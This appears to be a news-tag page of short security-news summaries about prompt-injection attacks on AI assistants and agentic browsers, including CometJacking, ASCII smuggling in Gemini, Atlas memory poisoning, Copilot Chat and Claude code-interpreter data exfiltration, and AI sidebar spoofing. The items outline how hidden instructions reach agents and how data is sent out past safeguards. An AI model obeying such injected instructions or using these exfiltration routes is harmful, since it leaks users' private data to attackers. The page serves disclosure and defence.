All news with #prompt injection attack tag

⚠️ Security researchers disclosed a novel attack called AI sidebar spoofing that allows malicious browser extensions to place counterfeit in‑page AI assistants that visually mimic legitimate sidebars. Demonstrated against Comet and confirmed for Atlas, the extension injects JavaScript, forwards queries to a real LLM when requested, and selectively alters replies to inject phishing links, malicious OAuth prompts, or harmful terminal commands. Users who install extensions without scrutiny face a tangible risk.

🔐 Researchers at Tenable disclosed seven techniques that can cause ChatGPT to leak private chat history by abusing built-in features such as web search, conversation memory and Markdown rendering. The attacks are primarily indirect prompt injections that exploit a secondary summarization model (SearchGPT), Bing tracking redirects, and a code-block rendering bug. Tenable reported the issues to OpenAI, and while some fixes were implemented several techniques still appear to work.

🔒 Researchers disclosed a prompt-injection technique dubbed CometJacking that abuses URL parameters to deliver hidden instructions to Perplexity’s Comet AI browser. By embedding malicious directives in the 'collection' parameter an attacker can cause the agent to consult connected services and memory instead of searching the web. LayerX demonstrated exfiltration of Gmail messages and Google Calendar invites by encoding data in base64 and sending it to an external endpoint. According to the report, Comet followed the malicious prompt and bypassed Perplexity’s safeguards, illustrating broader limits of current LLM-based assistants.

🔐 Enterprises must redesign security as AI moves from experimentation to production, and CIOs need a prevention-first, unified approach. This guide reframes Confidentiality, Integrity and Availability for AI, stressing rigorous access controls, end-to-end data lineage, adversarial testing and a defensible supply chain to prevent poisoning, prompt injection and model hijacking. Palo Alto Networks advocates embedding security across MLOps, real-time visibility of models and agents, and executive accountability to eliminate shadow AI and ensure resilient, auditable AI deployments.

🔒 A newly disclosed vulnerability in Anthropic’s Claude AI lets attackers manipulate the model’s code interpreter to silently exfiltrate enterprise data. Researcher Johann Rehberger demonstrated an indirect prompt-injection chain that writes sensitive context to the interpreter sandbox and then uploads files using the attacker’s API key to Anthropic’s Files API. The exploit exploits the default “Package managers only” network setting by leveraging access to api.anthropic.com, so exfiltration blends with legitimate API traffic. Mitigations are limited and may significantly reduce functionality.

🔒 Microsoft summarizes the top generative AI security risks and mitigation strategies in a new e-book, highlighting threats such as prompt injection, data poisoning, jailbreaks, and adaptive evasion. The post underscores cloud vulnerabilities, large-scale data exposure, and unpredictable model behavior that create new attack surfaces. It recommends unified defenses—such as CNAPP approaches—and presents Microsoft Defender for Cloud as an example that combines posture management with runtime detection to protect AI workloads.

⚠️ Researchers at LayerX disclosed a vulnerability in ChatGPT Atlas that can let attackers inject hidden instructions into a user's memory via a CSRF vector, contaminating stored context and persisting across sessions and devices. The exploit works by tricking an authenticated user to visit a malicious page which issues a CSRF request to silently write memory entries that later influence assistant responses. Detection requires behavioral hunting—correlating browser logs, exported chats and timestamped memory changes—since there are no file-based indicators. Administrators are advised to limit Atlas in enterprise pilots, export and review chat histories, and treat affected accounts as compromised until memory is cleared and credentials rotated.

🛡️ The UK AI Security Institute (AISI), Check Point and Lakera have launched b3, an open-source benchmark to assess and strengthen the security of backbone LLMs that power AI agents. b3 focuses on the specific LLM calls within agent workflows where malicious inputs can trigger harmful outputs, using 10 representative "threat snapshots" combined with a dataset of 19,433 adversarial attacks from Lakera’s Gandalf initiative. The benchmark surfaces vulnerabilities such as system prompt exfiltration, phishing link insertion, malicious code injection, denial-of-service and unauthorized tool calls, making LLM security more measurable, reproducible and comparable across models and applications.

⚠️ OpenAI's new Atlas browser is vulnerable to a prompt-injection jailbreak that disguises malicious instructions as URL-like strings, causing the omnibox to execute hidden commands. NeuralTrust demonstrated how malformed inputs that resemble URLs can bypass URL validation and be handled as trusted user prompts, enabling redirection, data exfiltration, or unauthorized tool actions on linked services. Mitigations include stricter URL canonicalization, treating unvalidated omnibox input as untrusted, additional runtime checks before tool execution, and explicit user confirmations for sensitive actions.

⚠️ Researchers at SquareX demonstrated an AI Sidebar Spoofing attack that can overlay a counterfeit assistant in OpenAI's Atlas and Perplexity's Comet browsers. A malicious extension injects JavaScript to render a fake sidebar identical to the real UI and intercepts all interactions, leaving users unaware. SquareX showcased scenarios including cryptocurrency phishing, OAuth-based Gmail/Drive hijacks, and delivery of reverse-shell installation commands. The team reported the findings to vendors but received no response by publication.

🔒 Amazon Bedrock Guardrails offers configurable, cross-model safeguards to protect generative AI applications from encoding-based attacks that attempt to hide harmful content using encodings such as Base64, hexadecimal, ROT13, and Morse code. It implements a layered defense—output-focused filtering, prompt-attack detection, and customizable denied topics—so legitimate encoded inputs are allowed while attempts to request or generate encoded harmful outputs are blocked. The design emphasizes usability and performance by avoiding exhaustive input decoding and relying on post-generation evaluation.

🔍 Cybercriminals have abused X's AI assistant Grok to amplify phishing links hidden in paid video posts, a tactic researchers have dubbed 'Grokking.' Attackers embed malicious URLs in video metadata and then prompt the bot to identify the video's source, causing it to repost the link from a trusted account. The technique bypasses ad platform link restrictions and can reach massive audiences, boosting SEO and domain reputation. Treat outputs from public AI tools as untrusted and verify links before clicking.

🔒 A new SquareX Labs report warns that integrating AI assistants into browsers—exemplified by Perplexity’s Comet—introduces architectural security gaps that can enable phishing, prompt injection, malicious downloads and misuse of trusted apps. The researchers flag risks from autonomous agent behavior and limited visibility in SASE and EDR tools. They recommend agentic identity, in-browser DLP, client-side file scanning and extension risk assessments, and urge collaboration among browser vendors, enterprises and security vendors to build protections into these platforms.

🔐 GitHub Copilot Chat was tricked into leaking secrets from private repositories through hidden comments in pull requests, researchers found. Legit Security researcher Omer Mayraz reported a combined CSP bypass and remote prompt injection that used image rendering to exfiltrate AWS keys. GitHub mitigated the issue in August by disabling image rendering in Copilot Chat, but the case underscores risks when AI assistants access external tools and repository content.

⚠️FireTail warns that Google Gemini can be tricked by hidden ASCII control characters — a technique the firm calls ASCII Smuggling — allowing covert prompts to reach the model while remaining invisible in the UI. The researchers say the flaw is especially dangerous when Gemini is given automatic access to Gmail and Google Calendar, because hidden instructions can alter appointments or instruct the agent to harvest sensitive inbox data. FireTail recommends disabling automatic email and calendar processing, constraining LLM actions, and monitoring responses while integrations are reviewed.

⚠️ Google has declined to patch a new ASCII smuggling vulnerability in Gemini, a technique that embeds invisible Unicode Tags characters to hide instructions from users while still being processed by LLMs. Researcher Viktor Markopoulos of FireTail demonstrated hidden payloads delivered via Calendar invites, emails, and web content that can alter model behavior, spoof identities, or extract sensitive data. Google said the issue is primarily social engineering rather than a security bug.

🔒 Researchers at Tenable disclosed three distinct vulnerabilities in Gemini's Cloud Assist, Search personalization, and Browsing Tool. The flaws let attackers inject prompts via logs (for example by manipulating the HTTP User-Agent), poison search context through scripted history entries, and exfiltrate data by causing the Browser Tool to send sensitive content to an attacker-controlled server. Google has patched the issues, but Tenable and others warn this highlights the risks of granting agents too much autonomy without runtime guardrails.

🔐 CometJacking is a prompt-injection technique that can turn Perplexity's Comet AI browser into a data exfiltration tool with a single click. Researchers at LayerX showed how a crafted URL using the 'collection' parameter forces the agent to consult its memory, extract data from connected services such as Gmail and Calendar, obfuscate it with Base64, and forward it to an attacker-controlled endpoint. The exploit leverages the browser's existing authorized connectors and bypasses simple content protections.

🛡️ LayerX researchers disclosed a prompt-injection technique called CometJacking that abuses Perplexity’s Comet AI browser by embedding malicious instructions in a URL's collection parameter. The payload directs the agent to consult connected services (such as Gmail and Google Calendar), encode the retrieved content in base64, and send it to an attacker-controlled endpoint. The exploit requires no credentials or additional user interaction beyond clicking a crafted link. Perplexity reviewed LayerX's late-August reports and classified the findings as "Not Applicable."

🔐 Researchers uncovered a security flaw in Salesforce’s new AgentForce platform called ForcedLeak, which let attackers smuggle AI-readable instructions through a Web-to-Lead form and exfiltrate data for as little as five dollars. The hosts discuss the broader implications for AI integration, input validation, and the surprising ease of exploiting customer-facing forms. Episode 437 also critiques typical breach communications and covers ITV’s phone‑hacking drama and the Rosetta Stone story, with Graham Cluley joined by Paul Ducklin.